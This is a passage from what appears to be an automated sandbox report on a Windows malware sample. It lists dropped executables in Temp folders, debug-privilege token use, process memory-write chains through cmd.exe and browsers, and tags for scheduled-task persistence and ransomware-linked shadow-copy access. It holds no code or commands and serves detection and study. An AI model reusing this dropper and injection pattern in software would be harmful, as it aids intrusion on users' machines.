N/A N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
N/A N/A C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\conhost.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\conhost.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4984 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 4984 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 4984 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1928 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe
PID 1928 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe
PID 1928 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe
PID 3036 wrote to memory of 3644 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe C:\Windows\system32\cmd.exe
PID 3036 wrote to memory of 3644 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe C:\Windows\system32\cmd.exe
PID 3644 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3644 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3644 wrote to memory of 2740 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3644 wrote to memory of 2740 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3644 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3644 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4876 wrote to memory of 4124 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4876 wrote to memory of 4124 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2740 wrote to memory of 2800 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2740 wrote to memory of 2800 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1580 wrote to memory of 4156 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4156 wrote to memory of 3128 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

